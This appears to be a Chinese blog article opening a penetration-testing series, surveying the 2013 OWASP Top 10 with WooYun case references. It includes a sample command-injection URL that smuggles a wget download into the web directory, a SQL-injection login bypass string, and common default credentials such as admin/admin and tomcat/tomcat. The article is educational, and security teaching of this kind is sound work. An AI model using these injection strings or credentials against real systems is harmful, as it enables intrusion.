渗透测试必知必会—Web漏洞

　 0x00前言

　　本文为对 WEB漏洞研究系列的开篇，日后会针对这些漏洞一一研究，敬请期待

　　 0x01 目录

　　0x00 前言

　　0x01 目录

　　0x02 OWASP TOP10 简单介绍

　　0x03 乌云TOP 10 简单介绍

　　0x04 非主流的WEB漏洞

　　 0x02 OWASP TOP10 简单介绍

　　除了OWASP的TOP10，Web安全漏洞还有很多很多，在做 测试和加固系统时也不能老盯着TOP10，实际上是TOP10中的那少数几个

　　直接说2013的：

　　A1: 注入，包括 SQL注入、OS注入、LDAP注入。SQL注入最常见，wooyun.org || http://packetstormsecurity.com 搜SQL注入有非常多的案例，由于现在自动化工具非常多，通常都是找到注入点后直接交给以sqlmap为代表的工具

　　命令注入相对来说出现得较少，形式可以是：

　　https://1XX.202.234.22/debug/list_logfile.php?action=restartservice&bash=;wget -O /Isc/third-party/httpd/htdocs/index_bak.php http://xxphp.txt;

　　也可以查看案例：极路由云插件安装 shell命令注入漏洞 ，未对用户输入做任何校验，因此在web端ssh密码填写处输入一条命令`dropbear`便得到了执行

　　直接搜索LDAP注入案例，简单尝试下并没有找到，关于LDAP注入的相关知识可以参考我整理的LDAP注入与防御解析。虽然没有搜到LDAP注入的案例，但是重要的LDAP信息 泄露还是挺多的，截至目前，乌云上搜关键词LDAP有81条记录。

　　PHP对象注入：偶然看到有PHP对象注入这种漏洞，OWASP上对其的解释为：依赖于上下文的应用层漏洞，可以让攻击者实施多种恶意攻击，如代码注入、SQL注入、路径遍历及拒绝服务。实现对象注入的条件为：1) 应用程序必须有一个实现PHP魔术方法(如 __wakeup或 __destruct)的类用于执行恶意攻击，或开始一个"POP chain"；2) 攻击中用到的类在有漏洞的unserialize()被调用时必须已被声明，或者自动加载的对象必须被这些类支持。PHP对象注入的案例及 文章可以参考WordPress < 3.6.1 PHP 对象注入漏洞。

　　在查找资料时，看到了PHP 依赖注入，原本以为是和安全相关的，结果发现：依赖注入是对于要求更易维护，更易测试，更加模块化的代码的解决方案。果然不同的视角，对同一个词的理解相差挺多的。

　　A2: 失效的身份认证及会话管理，乍看身份认证觉得是和输入密码有关的，实际上还有会话id泄露等情况，注意力集中在口令安全上：

　　 案例1：空口令

　　乌云：国内cisco系列交换机空密码登入大集合

　　乌云：UC某服务器可空口令访问 数据库

　 　案例2：弱口令

　　乌云：盛大某站后台存在简单弱口令可登录　　admin/admin

　　乌云：电信某省客服系统弱口令泄漏各种信息　.../123456

　　乌云：中国建筑股份有限公司OA系统tomcat弱口令导致沦陷　　tomcat/tomcat

　　 案例3：万能密码

　　乌云： 移动号码上户系统存在过滤不严　　admin'OR'a'='a/admin'OR'a'='a (实际上仍属于SQL注入)

　　 弱口令案例实在不一而足

　　在乌云一些弱口令如下：其中出镜次数最高的是：admin/admin, admin/123456

如果要继续深究下去或者取得更多数据进行分析的话，结局就会如猪猪侠总结的那样：

　　当然会话存在的安全问题也是需要考虑的，可以是令牌、token被窃取，尤其当会话没有设置生命周期时很容易出现会话/身份被劫持

　　会话管理问题可以是用户A登陆了某个地址，但是没有注销(奇葩情况是注销无效)，直接退出了浏览器又没有清除cookie，如果说这时候有B借用A的电脑，他直接以A的身份登陆该地址是没有问题的，这不是服务端的问题。但假设之后A都没有访问改地址，而是把电脑合上待机了，第二天如果B借用他的电脑直接登陆了该地址，则责任在于服务端的会话管理不当，没有设置超时时间。除此之外，还有会话重放、会话信息泄露等问题。说到会话信息泄露，不禁想起将sessionid放在URL中的情形，鄙人暂未遇到直接利用这个可以窃取会话的，但不排除其可能

　　A3: 跨站脚本(XSS)，最普遍的漏洞，曾被认为是鸡肋漏洞，事实证明有时候危害很大的，窃取cookie，构造蠕虫不一而足。XSS的技术体现在Javascript功底上，现在很多网站都有针对XSS的过滤器，J2EE可以使用全局过滤器，但是过滤器基本都是使用黑名单设防，是有可能绕过的，回应了技术体现在Javascript功底上。跨站脚本还有flash类型的，由于相比之下出现得比较少，浏览器和过滤器的防御精力不在这上面，如果出现可能更容易成功。值得一提的是，对于XSS，现在的扫描工具都会将其标识为高危漏洞，实际上扫描器根据返回的响应中是否有加入的载荷来判断跨站脚本漏洞存在的可能性，误报率会比较高。还有就是常规扫描器只能识别反射型XSS，反射型XSS本身危害是比较小的，存储型XSS危害才大(危害大小看具体情况)。反射型XSS现在常规payload要想过IE10、IE11或chrome还是有难度的，因此XSS技术的另一个体现方面即是对浏览器特性的了解。至于存储型XSS，则要看具体业务和数据是否会受影响，用户交互程度越高，利用难度就越大，如果能弹框证实漏洞存在，但很难被触发或者就算窃取到cookie也无法登陆，很难说明是高风险安全问题，但还是有修复和改进的必要。

　　A4: 不安全的直接对象引用，访问控制不当的问题，常见为越权操作(横向+纵向)，譬如：遍历用户id批量获取用户信息、在HTTP请求中篡改某个参数的值就变成了其他身份进行的操作，最激动人心的是可以进行刷钱等操作。越权问题并不高深，相比SQL注入和XSS技术难度还要低一点，因为通常只要改参数值就可以了(一般来说)。防止此类问题的做法很简单，当用户需要访问某资源或进行操作时，服务器端取出来访用户的session值，判断是否具有访问或操作权限。

　　在访问控制操作中，我们可以设定某一资源或文件A可以访问、B不能访问，但是当对应的用户多起来时也会遇到麻烦。也可以为用户访问资源或文件标志一个权限，作为一个会话属性，属于自己的才可以操作或访问，具体情况具体讨论。

　　案例1：水平越权

　　乌云：虎扑某功能存在水平越权

　　案例2： 垂直越权

　　乌云：中国电信某系统管理员WEB界面越权访问

　　A5-A7\A9: 安全配置错误\敏感数据泄露\功能级访问控制缺失\使用含已知漏洞的组件=>运维不当，直接看运维不当的

　　知乎专栏：运维安全(...)

　　乌云知识库：从乌云看运维安全那点事儿

　　引用一下知识库的内容，问题有：

　　struts漏洞

　　Web服务器未及时打补丁，有解析漏洞

　　PHP-CGI RCE

　　FCK编辑器

　　server-status信息泄露

　　网站备份文件放在web目录，可被下载

　　列目录导致可看到敏感数据并查看

　　snmp信息泄露

　　weblogic弱口令

　　SVN信息泄露

　　域传送漏洞

　　Rsync

　　hadoop对外

　　nagios信息泄露

　　ftp弱口令或支持匿名访问导致信息泄露

　　RTX泄露信息

　　Ganglia信息泄露

　　j2ee应用架构开始占主流，典型的web服务器搭配配置失误

　　Jenkins平台没有设置登录验证

　　zabbix

　　zenoss监控系统

　　Resin文件读取

　　memcache未限制访问IP

　　JBoss问题

　　测试服务器外网可访问

　　padding oracle attack

　　用户名密码放在服务器上……

　　A8: 跨站请求伪造(CSRF)

　　CSRF曾被称为沉睡的巨人，以前拿来举例时都是说Alice给Bob转钱，结果morry插了一脚，钱就跑到morry家去了。危害可大可小，直接通过URL增删改操作的也还有，更多的还是基于表单。如果是XSS+CSRF =>蠕虫 就比较可观了，也曾看到过直接get root的案例

最新内容请见作者的GitHub页：http://qaseven.github.io/